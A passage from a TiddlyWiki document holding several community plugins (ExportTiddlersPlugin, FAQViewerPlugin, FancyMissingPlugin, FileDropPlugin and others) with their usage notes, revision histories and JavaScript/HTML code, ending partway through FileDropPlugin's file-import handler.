#exportPanel .topline { border-top:2px solid black; padding-top:3px; margin-bottom:5px; }
#exportPanel .rad { width:auto;border:0 }
#exportPanel .chk { width:auto;border:0 }
#exportPanel .btn { width:auto; }
#exportPanel .btn1 { width:98%; }
#exportPanel .btn2 { width:48%; }
#exportPanel .btn3 { width:32%; }
#exportPanel .btn4 { width:24%; }
#exportPanel .btn5 { width:19%; }
!end
//}}}
!!!Control panel HTML
//{{{
!html
<!-- target path/file  -->
<div>
<div style="float:right;padding-right:.5em">
<input type="checkbox" style="width:auto" id="exportMerge" CHECKED
	title="combine selected tiddlers with existing tiddlers (if any) in export file"> merge
</div>
export to:<br>
<input type="text" id="exportFilename" size=40 style="width:93%"><input 
	type="button" id="exportBrowse" value="..." title="select or enter a local folder/file..." style="width:5%" 
	onclick="var fn=config.macros.exportTiddlers.askForFilename(this); if (fn.length) this.previousSibling.value=fn; ">
</div>

<!-- output format -->
<div>
format:
<select id="exportFormat" size=1>
	<option value="TW">TiddlyWiki HTML document (includes core code)</option>
	<option value="PS">TiddlyWiki "PureStore" HTML file (tiddler data only)</option>
	<option value="TX">TiddlyWiki plain text TXT file (tiddler source listing)</option>
	<option value="CS">Comma-Separated Value (CSV) data file</option>
	<option value="NF">RSS NewsFeed XML file</option>
</select>
</div>

<!-- notes -->
<div>
notes:<br>
<textarea id="exportNotes" rows=3 cols=40 style="height:4em;margin-bottom:5px;" onfocus="this.select()"></textarea> 
</div>

<!-- list of tiddlers -->
<table><tr align="left"><td>
	select:
	<a href="JavaScript:;" id="exportSelectAll"
		onclick="return config.macros.exportTiddlers.process(this)" title="select all tiddlers">
		&nbsp;all&nbsp;</a>
	<a href="JavaScript:;" id="exportSelectChanges"
		onclick="return config.macros.exportTiddlers.process(this)" title="select tiddlers changed since last save">
		&nbsp;changes&nbsp;</a>
	<a href="JavaScript:;" id="exportSelectOpened"
		onclick="return config.macros.exportTiddlers.process(this)" title="select tiddlers currently being displayed">
		&nbsp;opened&nbsp;</a>
	<a href="JavaScript:;" id="exportSelectRelated"
		onclick="return config.macros.exportTiddlers.process(this)" title="select tiddlers related to the currently selected tiddlers">
		&nbsp;related&nbsp;</a>
	<a href="JavaScript:;" id="exportToggleFilter"
		onclick="return config.macros.exportTiddlers.process(this)" title="show/hide selection filter">
		&nbsp;filter&nbsp;</a>
</td><td align="right">
	<a href="JavaScript:;" id="exportListSmaller"
		onclick="return config.macros.exportTiddlers.process(this)" title="reduce list size">
		&nbsp;&#150;&nbsp;</a>
	<a href="JavaScript:;" id="exportListLarger"
		onclick="return config.macros.exportTiddlers.process(this)" title="increase list size">
		&nbsp;+&nbsp;</a>
</td></tr></table>
<select id="exportList" multiple size="10" style="margin-bottom:5px;"
	onchange="config.macros.exportTiddlers.refreshList(this.selectedIndex)">
</select><br>

<!-- selection filter -->
<div id="exportFilterPanel" style="display:none">
<table><tr align="left"><td>
	selection filter
</td><td align="right">
	<a href="JavaScript:;" id="exportHideFilter"
		onclick="return config.macros.exportTiddlers.process(this)" title="hide selection filter">hide</a>
</td></tr></table>
<div class="box">

<input type="checkbox" class="chk" id="exportFilterStart" value="1"
	onclick="config.macros.exportTiddlers.showFilterFields(this)"> starting date/time<br>
<table cellpadding="0" cellspacing="0"><tr valign="center"><td width="50%">
	<select size=1 id="exportFilterStartBy"
		onchange="config.macros.exportTiddlers.showFilterFields(this);">
		<option value="0">today</option>
		<option value="1">yesterday</option>
		<option value="7">a week ago</option>
		<option value="30">a month ago</option>
		<option value="file">file date</option>
		<option value="other">other (mm/dd/yyyy hh:mm)</option>
	</select>
</td><td width="50%">
	<input type="text" id="exportStartDate" onfocus="this.select()"
		onchange="config.macros.exportTiddlers.$('exportFilterStartBy').value='other';">
</td></tr></table>

<input type="checkbox" class="chk" id="exportFilterEnd" value="1"
	onclick="config.macros.exportTiddlers.showFilterFields(this)"> ending date/time<br>
<table cellpadding="0" cellspacing="0"><tr valign="center"><td width="50%">
	<select size=1 id="exportFilterEndBy"
		onchange="config.macros.exportTiddlers.showFilterFields(this);">
		<option value="0">today</option>
		<option value="1">yesterday</option>
		<option value="7">a week ago</option>
		<option value="30">a month ago</option>
		<option value="file">file date</option>
		<option value="other">other (mm/dd/yyyy hh:mm)</option>
	</select>
</td><td width="50%">
	<input type="text" id="exportEndDate" onfocus="this.select()"
		onchange="config.macros.exportTiddlers.$('exportFilterEndBy').value='other';">
</td></tr></table>

<input type="checkbox" class="chk" id=exportFilterTags value="1"
	onclick="config.macros.exportTiddlers.showFilterFields(this)"> match tags<br>
<input type="text" id="exportTags" onfocus="this.select()">

<input type="checkbox" class="chk" id=exportFilterText value="1"
	onclick="config.macros.exportTiddlers.showFilterFields(this)"> match titles/tiddler text<br>
<input type="text" id="exportText" onfocus="this.select()">

</div> <!--box-->
</div> <!--panel-->

<!-- action buttons -->
<div style="text-align:center">
<input type=button class="btn4" onclick="config.macros.exportTiddlers.process(this)"
	id="exportFilter" value="apply filter">
<input type=button class="btn4" onclick="config.macros.exportTiddlers.process(this)"
	id="exportStart" value="export tiddlers">
<input type=button class="btn4" onclick="config.macros.exportTiddlers.process(this)"
	id="exportDelete" value="delete tiddlers">
<input type=button class="btn4" onclick="config.macros.exportTiddlers.process(this)"
	id="exportClose" value="close">
</div><!--center-->
!end
//}}}
***/
 
/***
|Name|ExportTiddlersPluginInfo|
|Source|http://www.TiddlyTools.com/#ExportTiddlersPlugin|
|Documentation|http://www.TiddlyTools.com/#ExportTiddlersPluginInfo|
|Version|2.9.5|
|Author|Eric Shulman|
|License|http://www.TiddlyTools.com/#LegalStatements|
|~CoreVersion|2.1|
|Type|documentation|
|Description|Documentation for ExportTiddlersPlugin|
interactively select and extract tiddlers from your ~TiddlyWiki document, and write them into another file, using one of several different file formats:
* ~TiddlyWiki - a complete, stand-alone, standard TiddlyWiki HTML document
* ~PureStore - a small HTML archive file containing tiddler data only (no core code)
* ~PlainText - a simple TXT text file with tiddler source listings
* Comma - a "Comma Separated Value" data/spreadsheet file
* ~NewsFeed  - an XML-format file that can be published for RSS syndication.
!!!!!Usage
<<<
{{{
<<exportTiddlers>> (sidebar menu item)
<<exportTiddlers inline>> (embedded control panel)
}}}

Inline control panel (live):
<<exportTiddlers inline>>

Optional "special tiddlers" used by this plugin:
* SiteUrl<br>URL for official server-published version of document being viewed (used in XML export). Default: //none//
<<<
!!!!!Revisions
<<<
2010.02.25 2.9.5 added merge checkbox option and improved 'merge' status message
2009.09.12 2.9.4 fixed 'return false' to prevent IE page transitions
2009.07.06 2.9.3 moved HTML to section for size reduction
2009.07.03 2.9.2 TW252 fixup: don't call convertUTF8ToUnicode() for local loadFile() I/O
2009.04.30 2.9.1 custom fields in CSV output
2009.04.19 2.9.0 added CSV format
2009.02.26 2.8.5 use macro-specific definition of $() function abbreviation (avoids conflict with JQuery)
2008.09.29 2.8.4 in getData(), convert existing TW file from UTF8 to Unicode before merging to correct handling of international characters and symbols.
2008.09.26 2.8.3 in go(), if rewriting *current* file and chkSaveBackups and/or chkGenerateAnRssFeed is enabled, then write a backup file or RSS feed, respectively.
2008.09.24 2.8.2 in assembleFile(), make sure that markup block is updated if corresponding Markup* tiddler is exported.
2008.09.19 2.8.1 in formatItem(), removed unnecessary convertUnicodeToUTF8() (was causing double-conversion!)
2008.09.11 2.8.0 extensive code cleanup: moved all global functions inside macro object. Re-wrote file generator and I/O to support TiddlyWiki, PlainText, PureStore, and NewsFeed file formats.  Replaced inline 'match tags' code with use of getMatchingTiddlers() from [[MatchTagsPlugin]] (if installed), with fallback to core getTaggedTiddlers() otherwise.
2008.05.27 2.7.0 added ability to 'merge' with existing export file.  Also, revised 'matchTags' functionality to be more robust and more efficient
2008.05.12 2.6.1 automatically add 'export' task to backstage (moved from BackstageTweaks)
2008.03.10 2.6.0 added "delete tiddlers" button
2007.12.04 *.*.* update for TW2.3.0: replaced deprecated core functions, regexps, and macros
2007.11.10 2.5.1 removed debugging alert messages from promptForExportFilename()
2007.10.31 2.5.0 code reduction: removed incomplete/unused interface and supporting functions for exporting directly to http, https or ftp servers.  Plugin now supports exporting to local file only.  Also, updated TW document output to generate TW2.2 compatible file format.
2007.10.30 2.4.2 added automatic shadow tiddler definition for [[ExportTiddlers]]
2007.07.16 2.4.1 in exportTWHeader(), reset HTML source 'markup' so installed markup is NOT copied to new file.
2007.06.30 2.4.0 added "select related tiddlers" feature.  Recursively scans the tiddler links[] info to find all tiddlers referenced by any of the currently selected tiddler, and then selects them all (including the original tiddlers).
2007.04.19 2.3.0 in exportData(), pass SiteURL value as param to saveToRss().  Fixes 'undefined' appearing in tiddler link in XML output.  Also, in refreshExportList(), added 'sort by tags'.  Also, added 'group select'... selecting a heading (date,author,tag) auto-selects all tiddlers in that group.
2007.03.02 2.2.6 in onClickExportButton(), when selecting open tiddlers for TW2.2, look for "storyDisplay" with fallback to "tiddlerDisplay" for TW2.1 or earlier
2007.03.01 2.2.5 removed hijack of store.saveChanges()
2006.11.08 2.2.4 added promptForExportFilename() and replaced type="file" control with edit field + browse button ("...").
2006.10.12 2.2.3 in exportDIVFooter(), write POST-BODY-START/END markers for compatibility with TW2.1 core file format.
2006.05.11 2.2.2 in createExportPanel, removed call to addNotification() to reduce unneeded feedback messages and increase overall document performance.
2006.05.02 2.2.1 Use displayMessage() to show number of selected tiddlers instead of updating listbox 'header' item after each selection.  Prevents awkward 'scroll-to-top' behavior that made multi-select via ctrl-click nearly impossible.
2006.04.29 2.2.0 New features: free-form "Notes" text inserted in the header of PureStore files.
2006.03.29 2.1.3 added calls to convertUnicodeToUTF8() for generated output, so it better handles international characters.
2006.02.12 2.1.2 more FF1501 bug fixes.
2006.02.04 2.1.1 added var to unintended globals to avoids FireFox1501 crash bug
2006.02.02 2.1.0 Added support for output of complete TiddlyWiki documents
2006.01.21 2.0.1 Defer initial panel creation and only register a notification function when panel first is created
in saveChanges 'hijack', create panel as needed.  Note: if window.event is not available to identify the click location, the export panel is positioned relative to the 'tiddlerDisplay' element of the TW document.
2005.12.27 2.0.0 Update for TW2.0.
2005.12.24 0.9.5 Minor adjustments to CSS to force correct link colors regardless of TW stylesheet selection
2005.12.16 0.9.4 Dynamically create/remove exportPanel so only one instance exists at a time
2005.11.15 0.9.2 added non-Ajax post to bypass cross-domain security restrictions.
2005.11.08 0.9.1 moved HTML, CSS and control initialization into exportInit() function and call from macro handler instead of at load time.
2005.10.28 0.9.0 added 'select opened tiddlers' feature. Based on a suggestion by Geoff Slocock
2005.10.24 0.8.3 Corrected hijack of 'save changes' when using http:
2005.10.18 0.8.2 added AJAX functions
2005.10.18 0.8.1 Corrected timezone handling and error checking/reporting when filtering tiddlers. More style tweaks, minor text changes and some assorted layout cleanup.
2005.10.17 0.8.0 First pre-release.
2005.10.16 0.7.0 filter by tags
2005.10.15 0.6.0 filter by title/text
2005.10.14 0.5.0 export to local file (DIV or XML)
2005.10.14 0.4.0 filter by start/end date
2005.10.13 0.3.0 panel interaction
2005.10.11 0.2.0 panel layout
2005.10.10 0.1.0 code framework
2005.10.09 0.0.0 development started
<<<
/***
|Name:|ExtentTagButtonPlugin|
|Description:|Adds a New tiddler button in the tag drop down|
|Version:|3.2a|
|Date:|27-Jun-2011|
|Source:|http://mptw.tiddlyspot.com/#ExtendTagButtonPlugin|
|Author:|Simon Baird <simon.baird@gmail.com>|
|License|http://mptw.tiddlyspot.com/#TheBSDLicense|
***/
//{{{

window.onClickTag_mptw_orig = window.onClickTag;
window.onClickTag = function(e) {
  window.onClickTag_mptw_orig.apply(this,arguments);
  var tag = this.getAttribute("tag");
  var title = this.getAttribute("tiddler");
  // Thanks Saq, you're a genius :)
  var popup = Popup.stack[Popup.stack.length-1].popup;
  createTiddlyElement(createTiddlyElement(popup,"li",null,"listBreak"),"div");
  wikify("<<newTiddler label:'New tiddler' tag:'"+tag+"'>>",createTiddlyElement(popup,"li"));
  return false;
}

//}}}
This is an example of the [FAQViewerPlugin]. Edit it to see the code.

<<faqViewer startwith:TiddlerName tagname classname sortby dateformat>>
/***
|Name|FAQViewerPlugin|
|Source|http://www.TiddlyTools.com/#FAQViewerPlugin|
|Version|1.4.3|
|Author|Eric Shulman|
|License|http://www.TiddlyTools.com/#LegalStatements|
|~CoreVersion|2.1|
|Type|plugin|
|Description|select and display FAQ tiddlers from a droplist, sorted by date|
!!!!!Usage
<<<
{{{<<faqViewer startwith:TiddlerName tagname classname sortby dateformat>>}}}
where:
*''startwith:TiddlerName'' (optional)<br>
*''tagname'' (optional)<br>specifies the set of tiddlers to include in the FAQ list (default='faq')
*''classname'' (optional)<br>specifies a CSS class to be applied surrounding the FAQ tiddler content
*''sortby'' (optional)<br>specifies the name of a tiddler field to sort by.  Use '+' or '-' as a prefix on the fieldname to indicate ascending or descending order, respectively (default='-modified').  You can also use the special keyword, ''Description'', to sort alphabetically based on the value of a slice named 'Description', that can be defined in each FAQ tiddler.  Note: if a particular FAQ tiddler has no description slice, the title of the tiddler is used as a fallback.
*''dateformat'' (optional)<br>specifies the formatting for dates displayed in the list.  Use " " (a single space) to suppress the date display.
examples:
{{{<<faqViewer>>}}}
{{smallform small{<<faqViewer>>}}}
{{{<<faqViewer package outline +title " ">>}}}
{{smallform small{<<faqViewer package outline +title " ">>}}}
<<<
!!!!!Revisions
<<<
2009.06.14 [1.4.3] moved html definition to tiddler section (saves space)
2008.10.21 [1.4.2] removed animation (was interfering with 'overflow:scroll' CSS)
2008.09.30 [1.4.1] corrected filter by tag handling broken in 1.4.0
2008.09.29 [1.4.0] added optional 'startwith:TiddlerName' param
2008.09.24 [1.3.1] added animation when opening/closing faq content panel
2008.09.21 [1.3.0] sort by 'description' slice values.  also added 'previous' and 'next' buttons for sequential viewing of FAQ articles
2008.09.20 [1.2.0] optional 'sortby' and 'dateformat' params
2008.01.20 [1.1.0] support for alternative 'target' tag instead of 'faq' (default)
2007.10.15 [1.0.0] converted to true plugin
2007.02.01 [0.0.0] inline script
<<<
!!!!!Code
***/
//{{{
version.extensions.FAQViewerPlugin={major: 1, minor: 4, revision: 3, date: new Date(2009,6,14)};

config.shadowTiddlers.FAQViewer='{{smallform{<<faqViewer>>}}}';

config.macros.faqViewer= {
	dateFormat:'YYYY.0MM.0DD 0hh:0mm - ',
	startparam: 'startwith:',
	handler: function(place,macroName,params,wikifier,paramString,tiddler) {
		// create form
		if (params[0]&&params[0].substr(0,this.startparam.length)==this.startparam)
			{ var startwith=params[0].substr(this.startparam.length); params.shift(); }
		var console=createTiddlyElement(place,'span');
		console.innerHTML=store.getTiddlerText('FAQViewerPlugin##html').replace(/%classname%/,params[1]||'');
		this.go(console.getElementsByTagName('form')[0],startwith, params[0],params[2],params[3]);
	},
	go: function(f,startwith,targetType,sortby,dateformat) {
		var targetType=targetType||'faq';
		var sortby=sortby||'-modified';
		var dateformat=dateformat||this.dateFormat;
		var datefield=sortby.indexOf('created')!=-1?'created':'modified';
		f.targetType.value=targetType;
		f.sortBy.value=sortby;
		f.dateFmt.value=dateformat;
		var lists=f.getElementsByTagName('select'); if (!lists.length) return;
		var FAQList=lists[0]; var taglist=lists[1];
		while (FAQList.options[0]) FAQList.options[0]=null; // empty FAQList
		if (f.search.value!=f.search.defaultValue) var find=f.search.value;
		var tiddlers=store.getTaggedTiddlers(targetType,'modified').reverse();
		if (tiddlers && sortby) {
			if (sortby.indexOf('escription')==-1)	// sort by tiddler field
				tiddlers=store.sortTiddlers(tiddlers,sortby);
			else 
				tiddlers.sort(function(a,b){	// sort by description slice (or title, if no slice)
					var da=store.getTiddlerSlice(a.title,'Description')||a.title;
					var db=store.getTiddlerSlice(b.title,'Description')||b.title;
					return da==db?0:(da>db?+1:-1);
				});
		}
		var matchcount=0; var tags=[]; var selectedIndex=0;
		FAQList.options[0]=new Option('select an item...','',false,false);
		for (var i=0; i<tiddlers.length; i++) {
			for (var t=0; t<tiddlers[i].tags.length; t++)
				tags.pushUnique(tiddlers[i].tags[t]); // collect other tags
			if (find && find.length && tiddlers[i].text.indexOf(find)==-1) continue;
			if (taglist.value && taglist.value.length && !tiddlers[i].tags.contains(taglist.value)) continue;
			matchcount++;
			var d=store.getTiddlerSlice(tiddlers[i].title,'Description')||tiddlers[i].title;
			d=tiddlers[i][datefield].formatString(dateformat)+d;
			FAQList.options[FAQList.options.length]=new Option(d,tiddlers[i].title,false,false);
			if (tiddlers[i].title==startwith) selectedIndex=i+1;
		}
		FAQList.options[0].text='select an item... ['+tiddlers.length+' item'+(tiddlers.length!=1?'s':'');
		if (find && find.length || taglist.value.length)
			FAQList.options[0].text+=', '+matchcount+' match'+(matchcount!=1?'es':'');
		FAQList.options[0].text+=']';
		FAQList.selectedIndex=selectedIndex;
		if (selectedIndex) config.macros.faqViewer.show(f,startwith);

		if (!taglist.options.length) { // only load tag list the first time, since it doesn't change
			while (taglist.options[0]) taglist.options[0]=null; // empty taglist
			taglist.options[0]=new Option('filter by tag...','',false,false);
			var tagcount=0;
			for (var t=0; t<tags.length; t++) {
				if (tags[t].toLowerCase()==targetType) continue;
				if (tags[t].indexOf('exclude')!=-1) continue;
				taglist.options[taglist.options.length]
					=new Option(tags[t],tags[t],false,false);
				tagcount++;
			}
			if (!tagcount) taglist.options[taglist.options.length]
				=new Option('no category tags found','',false,false);
		}
	},
	show: function(f,v) {
		var fmt=this.faqlayout;
		if (store.getTaggedTiddlers(v).length) fmt=this.packagelayout;
		var target=f.getElementsByTagName('div')[0];
		removeChildren(target);
		wikify(fmt.format([v]),target);
		target.style.display='block';
		f.prev.parentNode.style.display='block';
		f.next.focus();
		f.done.disabled=!v.length;
	},
	faqlayout:
		'{{toolbar floatright fine{//now viewing: //[[%0]] &nbsp;}}}<<tiddler [[%0]]>>',
	packagelayout:
		'{{toolbar floatright fine{//now viewing: //[[%0]] &nbsp;}}}\n'
			+'{{floatright borderleft fine{<<tagging [[%0]]>>}}}<<tiddler [[%0]]>>{{clear block{}}}'
}
//}}}
/***
//{{{
!html
<form onsubmit='return false;' style='display:inline;margin:0;padding:0;white-space:nowrap;'><!--
--><input type='hidden' name='targetType' value='faq'><!--
--><input type='hidden' name='sortBy' value='-modified'><!--
--><input type='hidden' name='dateFmt' value='YYYY.0MM.0DD 0hh:0mm - '><!--
--><select name='list' size=1 style='width:50%'
	onchange='if (!this.value.length) this.form.done.onclick();
		else config.macros.faqViewer.show(this.form,this.value);'><!--
--></select><!--
--><select name='taglist' size=1 style='width:12%'
	title='list only items that have a specific category tag'
	onchange='var f=this.form; f.done.onclick();
		config.macros.faqViewer.go(f,"",f.targetType.value,f.sortBy.value,f.dateFmt.value)'><!--
--></select><!--
--><input type='text' name='search' value='enter search text...' style='width:20%'
	title='list only items that contain the search text (use blank to match all)'
	onfocus='this.select()'
	onkeyup=' if (event.keyCode==13) this.form.find.onclick();
		if (!this.value.length) {this.value=this.defaultValue; this.select(); this.form.find.onclick();}'><!--
--><input type='button' name='find' value='find' style='width:6%'
	title='list only items that contain the search text '
	onclick='var f=this.form; f.done.onclick();
		config.macros.faqViewer.go(f,"",f.targetType.value,f.sortBy.value,f.dateFmt.value)'><!--
--><input type='button' name='reset' value='reset' style='width:6%'
	title='reset FAQViewer to default '
	onclick='var f=this.form; f.done.onclick();
		f.search.value=f.search.defaultValue; f.taglist.selectedIndex=0;
		config.macros.faqViewer.go(f,"",f.targetType.value,f.sortBy.value,f.dateFmt.value)'><!--
--><input type='button' name='done' value='done' disabled style='width:6%'
	title='hide current item display'
	onclick='var target=this.form.getElementsByTagName("div")[0];
		target.style.display="none"; removeChildren(target);
		this.form.prev.parentNode.style.display="none";
		this.form.list.selectedIndex=0; this.disabled=true;'><!--
--><div class="%classname%" style="display:none;white-space:normal;"></div><!--
--><span style='text-align:right;display:none;overflow:auto;'><!--
--><input type='button' name='prev' value='&#x25C4 prev' style='float:left;font-size:80%;'
	title='view previous item'
	onclick='var f=this.form; var i=f.list.selectedIndex-1;
		f.list.selectedIndex=i<0?f.list.length-1:i; f.list.onchange();'><!--
--><input type='button' name='next' value='next &#x25BA;' style='float:right;font-size:80%;'
	title='view next item'
	onclick='var f=this.form; var i=f.list.selectedIndex+1;
		f.list.selectedIndex=i>f.list.length-1?0:i; f.list.onchange();'><!--
--></span><!--
--></form>
!end
//}}}
***/
 
/***
|''Name''|FancyMissingPlugin|
|''Version''|0.1.0|
|''Description''|Orders the output in the Missing tab by how missing|
|''Author''|Frederik Dohr|
|''License''|[[BSD|http://www.opensource.org/licenses/bsd-license.php]]|
!Usage
No explicit use require, just add the plugin and go to the Missing tab.

!Code
***/
//{{{
(function() {

// hijack getMissingLinks to sort by number of references
var getMissingLinks = TiddlyWiki.prototype.getMissingLinks;
TiddlyWiki.prototype.getMissingLinks = function(sortField) {
	var results = getMissingLinks.apply(this, arguments);
	var index = results.map(function(item, i) {
		return {
			title: results[i],
			count: store.getReferringTiddlers(results[i]).length
		};
	});
	return index.sort(function(a, b) {
		return b.count - a.count;
	}).map(function(item, i) {
		return item.title;
	});
};

})();
//}}}
Fantasy

<<deleteAllTagged>>
<!--{{{-->
<!--
|Name|FaqViewTemplate|
|Source|http://www.TiddlyTools.com/#FaqViewTemplate|
|Version|1.0.0|
|Author|Eric Shulman|
|License|http://www.TiddlyTools.com/#LegalStatements|
|~CoreVersion|2.1|
|Type|template|
|Requires|ToolbarCommands, FAQViewerPlugin|
|Description|custom version of view template used to display tiddlers tagged with 'faq'|
-->
<span class='toolbar' macro='toolbar [[ToolbarCommands::ViewToolbar]]'></span>
<span class='title' macro='view title'></span>
<span class='subtitle'>
	<span style='white-space:nowrap' macro='view modified date [[DDD, MMM DDth YYYY]]'></span>
</span>
<div class='viewer smallform' macro='faqViewer {{"startwith:"+tiddler.title}}' title=' '></div>
<div class='toolbar' style='line-height:100%;margin-top:.5em;'><a href="javascript:;"
	onclick="window.scrollTo(0,ensureVisible(story.findContainingTiddler(this)));return false;"
	onmouseover="this.title='scroll to top of '+story.findContainingTiddler(this).getAttribute('tiddler')">&#x25b2;</a>
</div>
<!--}}}-->
/***
|Name|FileDropPlugin|
|Source|http://www.TiddlyTools.com/#FileDropPlugin|
|Version|2.1.4|
|Author|BradleyMeck and Eric Shulman|
|License|http://www.TiddlyTools.com/#LegalStatements|
|~CoreVersion|2.1|
|Type|plugin|
|Description|drag-and-drop files/directories to create tiddlers|
''requires FireFox or another Mozilla-compatible browser.''
!!!!!Usage
<<<
This plugin automatically creates tiddlers from files that are dropped onto an open TiddlyWiki document.  You can drop multiple selected files and/or folders to create many tiddlers at once.  New tiddler titles are created using the filename of each dropped file (i.e., omitting the path).  If a title is already in use, you are prompted to enter a new title for that file.  If you drop a folder, you will be asked if you want to create a simple 'directory list' of files in a single tiddler or create one tiddler for each file in that folder.  

By default, it is assumed that all dropped files contain text.  However, if [[AttachFilePlugin]], [[AttachFilePluginFormatters]] and [[AttachFileMIMETypes]] are installed, then you can drop ''//binary data files//'' as well as text files.  If the MIME type of a dropped file is not "text/plain", then AttachFilePlugin is used to create an 'attachment' tiddler, rather than creating a simple text tiddler.

When creating text tiddlers, you can embed a //link// to the original external file at the top of the new tiddler, in addition to (or instead of) the text content itself.  The format for this link (see Configuration, below) uses embedded ''//replacement markers//'' that allow you to generate a variety of wiki-formatted output, where:
*%0 = filename (without path)
*%1 = local """file://...""" URL
*%2 = local path and filename (OS-native format)
*%3 = relative path (if subdirectory of current document directory)
*%4 = file size
*%5 = file date
*%6 = current date
*%7 = current ~TiddlyWiki username
*\n = newline
By default, the link format uses the filename (%0) and local URL (%1), enclosed within a //hidden section// syntax, like this:
{{{
/%
!link
[[%0|%1]]
!end
%/
}}}
This permits the link to be embedded along with the text content, without changing the appearance of that content when the tiddler is viewed.  To display the link in your tiddler content, use:
{{{
<<tiddler TiddlerName##link>>
}}}
<<<
!!!!!Configuration
<<<
__FileDropPlugin options:__
<<option chkFileDropContent>>Copy file content into tiddlers if smaller than: <<option txtFileDropDataLimit>> bytes
&nbsp; //(note: excess text content will be truncated, oversized binary files will skipped, 0=no limit)//
<<option chkFileDropLink>>Generate external links to files, using this format:{{editor{<html><nowiki><textarea rows="4" onchange="
config.macros.option.propagateOption('txtFileDropLinkFormat','value',this.value.escapeLineBreaks(),'input');
"></textarea></html><<tiddler {{
	var ta=place.lastChild.getElementsByTagName('textarea')[0];
	var v=config.options.txtFileDropLinkFormat.unescapeLineBreaks();
	ta.value=v;
"";}}>>}}}<<option chkFileDropTrimFilename>>Omit file extensions from tiddler titles
<<option chkFileDropDisplay>>Automatically display newly created tiddlers
Tag newly created tiddlers with: <<option txtFileDropTags>>

__FileDropPlugin+AttachFilePlugin options:__ //(binary file data as encoded 'base64' text)//
<<option chkFileDropAttachLocalLink>> attachment includes reference to local path/filename
>Note: if the plugin does not seem to work, enter ''about:config'' in the Firefox address bar, and make sure that {{{signed.applets.codebase_principal_support}}} is set to ''true''
<<<
!!!!!Examples (custom handler functions)
<<<
Adds a single file with confirmation and prompting for title:
{{{
config.macros.fileDrop.addEventListener('application/x-moz-file',
	function(nsiFile) {
		var msg='You have dropped the file:\n'
			+nsiFile.path+'\n'
			+'onto the page, it will be imported as a tiddler. Is that ok?'
		if(confirm(msg)) {
			var newDate = new Date();
			var title = prompt('what would you like to name the tiddler?');
			store.saveTiddler(title,title,loadFile(nsiFile.path),config.options.txtUserName,newDate,[]);
		}
		return true;
	});
}}}
Adds a single file without confirmation, using path/filename as tiddler title:
{{{
config.macros.fileDrop.addEventListener('application/x-moz-file',
	function(nsiFile) {
		var newDate = new Date();
		store.saveTiddler(nsiFile.path,nsiFile.path,loadFile(nsiFile.path),config.options.txtUserName,newDate,[]);
		story.displayTiddler(null,nsiFile.path)
		return true;
	});
}}}
<<<
!!!!!Revisions
<<<
2010.03.06 2.1.4 added event listener for 'dragover' (for FireFox 3.6+)
2009.10.10 2.1.3 fixed IE code error
2009.10.08 2.1.2 fixed chkFileDropContent bypass handling for binary attachments
2009.10.07 2.1.0 added chkFileDropContent and chkFileDropLink/txtFileDropLinkFormat
2009.08.19 2.0.0 fixed event listener registration for FireFox 3.5+.  Also, merged with FileDropPluginConfig, with code cleanup/reduction
2008.08.11 1.5.1 added chkFileDropAttachLocalLink option to allow suppression of local path/file link
2007.xx.xx *.*.* add suspend/resume of notifications to improve performance when multiple files are handled
2007.01.01 0.9.9 extensions for AttachFilePlugin
2006.11.04 0.1.1 initial release by Bradley Meck
<<<
!!!!!Code
***/
//{{{
version.extensions.FileDropPlugin={major:2, minor:1, revision:4, date: new Date(2010,3,6)};

config.macros.fileDrop = {
	customDropHandlers: [],
	addEventListener: function(paramflavor,func,inFront) {
		var obj={}; obj.flavor=paramflavor; obj.handler=func;
		if (!inFront) this.customDropHandlers.push(obj);
		else this.customDropHandlers.shift(obj);
	},
	dragDropHandler: function(evt) {
		netscape.security.PrivilegeManager.enablePrivilege('UniversalXPConnect');
		var dragService = Components.classes['@mozilla.org/widget/dragservice;1'].getService(Components.interfaces.nsIDragService);
		var dragSession = dragService.getCurrentSession();
		var transferObject = Components.classes['@mozilla.org/widget/transferable;1'].createInstance();
		transferObject = transferObject.QueryInterface(Components.interfaces.nsITransferable);
		transferObject.addDataFlavor('application/x-moz-file');
		var numItems = dragSession.numDropItems;
		if (numItems>1) {
			clearMessage();
			displayMessage('Reading '+numItems+' files...');
			store.suspendNotifications();
		}
		for (var i = 0; i < numItems; i++) {
			dragSession.getData(transferObject, i);
			var dataObj = {};
			var dropSizeObj = {};
			for(var ind=0; ind<config.macros.fileDrop.customDropHandlers.length; ind++) {
				var item = config.macros.fileDrop.customDropHandlers[ind];
				if(dragSession.isDataFlavorSupported(item.flavor)) {
					transferObject.getTransferData(item.flavor, dataObj, dropSizeObj);
					var droppedFile = dataObj.value.QueryInterface(Components.interfaces.nsIFile);
					var result = item.handler.call(item,droppedFile);
					evt.stopPropagation();
					evt.preventDefault();
					if (result) break;
				}
			}
		}
		if (numItems>1) {
			store.resumeNotifications();
			store.notifyAll();
			displayMessage(numItems+' files have been processed');
		}
	}
}
//}}}
/***
!!!!!window event handlers
***/
//{{{
if(!window.event) {
	window.addEventListener('dragdrop',	// FireFox3.1-
		config.macros.fileDrop.dragDropHandler, true);
	window.addEventListener('drop',		// FireFox3.5+
		config.macros.fileDrop.dragDropHandler, true);
	window.addEventListener('dragover',	// FireFox3.6+
		function(e){e.stopPropagation();e.preventDefault();}, true); 
}
//}}}
/***
!!!!!handler for files, directories and binary attachments (see [[AttachFilePlugin]])
***/
//{{{
var defaults={
	chkFileDropDisplay:		true,
	chkFileDropTrimFilename:	false,
	chkFileDropContent:		true,
	chkFileDropLink:		true,
	txtFileDropLinkFormat:		'/%\\n!link\\n[[%0|%1]]\\n!end\\n%/',
	txtFileDropDataLimit:		'32768',
	chkFileDropAttachLocalLink:	true,
	txtFileDropTags:		''
};
for (var id in defaults) if (config.options[id]===undefined)
	config.options[id]=defaults[id];

config.macros.fileDrop.addEventListener('application/x-moz-file',function(nsiFile) {
	var co=config.options; // abbrev
	var header='Index of %0\n^^(as of %1)^^\n|!filename| !size | !modified |\n';
	var item='|[[%0|%1]]| %2|%3|\n';
	var footer='Total of %0 bytes in %1 files\n';
	var now=new Date();
	var files=[nsiFile];
	if (nsiFile.isDirectory()) {
		var folder=nsiFile.directoryEntries;
		var files=[];
		while (folder.hasMoreElements()) {
			var f=folder.getNext().QueryInterface(Components.interfaces.nsILocalFile);
			if (f instanceof Components.interfaces.nsILocalFile && !f.isDirectory()) files.push(f);
		}
		var msg=nsiFile.path.replace(/\\/g,'/')+'\n\n';
		msg+='contains '+files.length+' files... ';
		msg+='select OK to attach all files or CANCEL to create a list...';
		if (!confirm(msg)) { // create a list in a tiddler
			var title=nsiFile.leafName; // tiddler name is last directory name in path
